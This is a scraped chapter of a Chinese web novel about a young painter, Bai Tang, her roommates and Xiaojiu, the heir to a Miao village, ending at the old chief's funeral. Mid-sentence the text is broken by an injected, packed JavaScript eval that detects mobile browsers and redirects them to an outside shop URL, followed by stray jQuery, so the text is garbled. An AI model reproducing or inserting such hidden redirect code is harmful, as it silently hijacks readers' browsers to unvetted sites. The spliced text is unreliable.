白棠开始考虑小九的“特别礼物”。
她身无长物,唯一拿的出手的就是自己那几笔画。白棠鬼使神差地想把自己画的小九的画像给他,可转念一想又有点舍不得。
那幅画太好看,难得让自己这么满意,还是留着吧。
就当是留个纪念。
白棠左思右想,决定画一张寨子:小九既然要当族长,自然心里装得都是寨子。画一张苗寨最美的风景,也挺贴合主题的。
白棠这么想着,就出门了。
她环顾四周,选了一个最佳视角。低头俯瞰,千梯寨就那么镶嵌在群山峻岭之间,精致,古朴,甚至还有一丝淡淡的愁绪氤氲在雾气里,让白棠莫名觉得伤感。
也是,过两天就要走了,再想看到这样的景色,就不知是猴年马月了。
白棠拿起笔,开始认真地构图。
从中午到傍晚,白棠一直沉浸在自己的创作中。直到晚霞染红了半边苗寨,她才收回画具,准备回去。
寨子里处处都是糯米和腊肉的香气,这是苗人们在为三日后的葬礼做准备。当白棠回到吊脚楼后,天已经黑了。家里面空无一人,连灯都没开。
白棠并不感到意外:寨子里的事多,小九和吴松一定是去忙了。至于胡月和郝燕,她们沉迷于拍照出片,往往要玩到天大黑才回来。
白棠打心眼里羡慕高精力人群。她适合做点安静的事,要是稍微运动多了,简直能累掉半条命。
白棠走进吊脚楼。桌子上,几个做好的糯米粑粑和一小碟鱼被扣在罩子里。白棠知道这是阿傩为他们准备的,她随便吃了点,便上楼了。
她今天有点累,打算早早休息。就在她路过吴松的房间时,她听见里面有窸窸窣窣类似讨论的声音。
嗯?
再仔细听,里面传出男生压低嗓子的蛐蛐声,还有两个女孩的嘀咕声。白棠一下子就听出了郝燕的声音,她的嗓音太有特点了。
吊脚楼里隔音不好,尽管他们的声音压得很低很低,白棠还是听见“我脱不开身”“不用考虑他”两句话,白棠一下子就警惕起来。
不用考虑他……他指的是谁?
我吗?
待要再细听,三人的声音压得更低了。白棠正在狐疑,郝燕突然生起气来:“太少了,听懂了吗?!”
白棠被吓了一跳,但随即笑了出来:太少了,是指钱?
她大概猜到了。
这是都要包份子钱,现金不够了吧。
那确实不用考虑自己,反正她是不随份子的。
白棠摇摇头,转身打算回房间。不知是不是她的脚步声太重,吴松猛地拉开了门。
“谁?!”
“是我,白棠。”
白棠大大方方地和他打了个招呼。
“是你啊!”吴松的镜片不知被什么反光,稍稍亮了一下,“回来多久了?”
“刚回来。你们这黑灯瞎火的,怎么不开灯呢?”
吴松一怔,随即笑道:“嗨,说太久的话,都忘了。”
说着,他随手按开了开关。
突如其来的灯光照得白棠眯起了眼睛,她这才看清屋里:胡月和郝燕一个抱着椅背歪头看她,一个靠着窗台一脸不满,看起来似乎是没怎么谈明白。
白棠忍不住多问了一嘴:“你们说啥呢,这么热闹?”
吴松随口答道:“随份子的事。这年头谁都没多少现金,只能凑一凑。”
看来和自己想的一样
“我手头倒是还有点现金,不过只能给你三百。”白棠笑道,“用吗?”
“用。我回头微信转你。”
“好。”
白棠痛快地将三百元现金给了吴松就回去了。
一夜无话。次日一早,白棠还没睡醒,一阵敲门声就响了起来。
“阿棠,醒了吗?”
是小九的声音,白棠打开了门,只见小九手里捧着一套苗服站在门口。
“还没睡醒啊!”小九有些歉意,“这个送给你。”
白棠接过了苗服,只见这套苗服用料考究,黑色打底,花纹繁复,多是蝶兰图案,一看就是花了大心思做出来的。
白棠非常惊讶:“这是……你为我买的?”
“我做的。”
白棠更加惊讶了:“你还会针线活?”
“嗯,自己一个人生活后,什么都得学一些。”
白棠感动到无以复加:“这么忙,你还为我做这些……”
小九淡淡一笑:“就是不知道你穿了合不合适,若是哪里不合适,我可以改。”
“我去试试!”
没有女孩子能拒绝一件漂亮衣服。白棠十分惊喜,她迫不及待地就去换衣服。小九有些忐忑地等在门外,他左手握住右手,握得骨节都白了。
当白棠穿了一身苗服出来时,小九的眼睛都亮了。
白棠紧张地问道:“好看吗?”
小九不说好看也不说不好看,只是呆呆地望着她,眼神越来越炽热。
白棠被他看得有些不好意思,她理了理衣襟:“我穿错了吗?”
“没、没有。”
小九别开脸去,他在心里默默地想:还差点东西。
差什么?
差银冠,差银锁,差项圈,还有他亲手打成的银腰带……
小九当然没说出内心的想法,只是小心翼翼地问道:“等到那一天,你可以穿着这身衣服来祝福我吗?”
白棠轻轻点了点头:“我会的。”
小九的嘴角不知不觉勾了起来。
气氛变得异常微妙,直到郝燕的一声尖叫,打破了早上的平静。
“这是我的散粉!”
白棠和小九都吓了一跳。没等他们反应过来,就听胡月涎皮赖脸道:“我就用了一下,别这么小气嘛!”
“那能一样吗?这盒还没开封!谁许你私自打开了!”
“哎呀,江湖救急……”
“我之前不是给过你一盒吗?你弄哪去了?”
“忘了啥时候弄丢了……”
白棠不禁暗自摇头:得,又开始了。
在白棠眼里,郝燕对胡月挺够意思了。胡月家境普通,郝燕家境好些,不用的衣服包包都会送给她。胡月也大大方方地接受,时不时帮郝燕带个饭,答个到或者打扫卫生什么的,二人不知不觉就热络起来。
只是太过熟悉后,往往容易失去边界感。这也是为何,二人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17888371|212654||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
有时会发生摩擦。
不过,郝燕这么生气还是头一回。之前什么化妆品包包乃至于首饰都弄坏过不少,也没见郝燕这么生气。
被惊扰到的小九有些不满,他看向了二人的房间微微皱眉。白棠有些歉意:到底是他们的到来打扰了他的宁静,面对这个好心的少年,白棠总有点亏欠的感觉。
“那个……她们偶尔小孩子脾气,人不坏的。”
小九嗯了一声,说了句“我去准备早饭”,便下楼了。
接下来的两天,白棠过得格外充实。她几乎是没日没夜地为小九画那幅画,只怕赶不上他的接任仪式。小九自不必说,他简直成了陀螺,几乎一整天都看不见影。而吴松也尽到了一个族兄的责任,处处帮衬小九。
令白棠意外的是,郝燕和胡月这两天却特别的闲。她们不出去玩,也不来找白棠,只是天天在吊脚楼里,看着众人忙来忙去。
谁也没有精力去关注其他人,每个人都有自己的事要做。
终于,在熬了两夜之后,白棠终于把那幅画画了出来。对于这个作品,白棠相当满意。
老族长的葬礼很快就到来了。
一大早上起来,寨子里就人声鼎沸,热闹非常。身为下一任族长,小九主持着大局。
白天主要是下葬仪式。寨子中央的生辰树下,小九身手灵巧地爬了上去,亲手摘下了象征老族长的银铃,郑重放在了棺椁里。
随着小九亲手钉上棺材,芦笙也跟着响了起来,几个寨老唱起了古老的苗语歌。白棠听不懂,只觉得这歌声悠扬悲伤,感染力极强。
白棠不由得跟着伤感起来。她观察了一下四周,发现不少人在偷偷抹眼泪。尽管大家说好不许哭的,可事到临头还是会忍不住。
这也是人之常情,没法苛责。
哀悼结束后,几个年轻力壮的小伙子抬起了棺椁。天空下起了蒙蒙细雨,一群人在小九的带领下,浩浩荡荡地将棺材送上了山。白棠和两个室友没有跟着过去,那里是族人的安息之地,是不许外人踏入的。
不过吴松跟去了,他不是外人。
忙了一上午后,人们才陆陆续续地回来。天意外地放晴了,众人围着生辰树摆起了流水宴。白棠在主桌上看见一个熟面孔:一个盛装的阿婆,白棠曾在她那里买过茉莉花手串。
白棠悄悄问吴松:“这位老人不是银鼓苗寨的吗?”
吴松点了点头:“你说得没错。她是银鼓苗寨的大祭司。”
“那银鼓苗寨的族长呢?怎么没来?”
“银鼓苗寨的族长和千梯寨一直都是同一个。”
“那小九到时候也是两个寨子的族长吗?”
“是,也不全是。”吴松耐心地解释道,“银鼓苗寨和外面差不多啦,有派出所、村委会什么的。除非有特别重大的事,一般不用经过小九。小九主要还是管着这里。”
“哦?”
“这里不一样,没有熟人带路的话,一般人进不来。”
白棠反而纳闷儿:“我看小九家里,感觉和外面差不多了!”
“那是你没看别人家!”吴松笑道,“小九上过学,相对开化,要不是他张罗,好多人连电灯都不用呢!”
白棠愕然。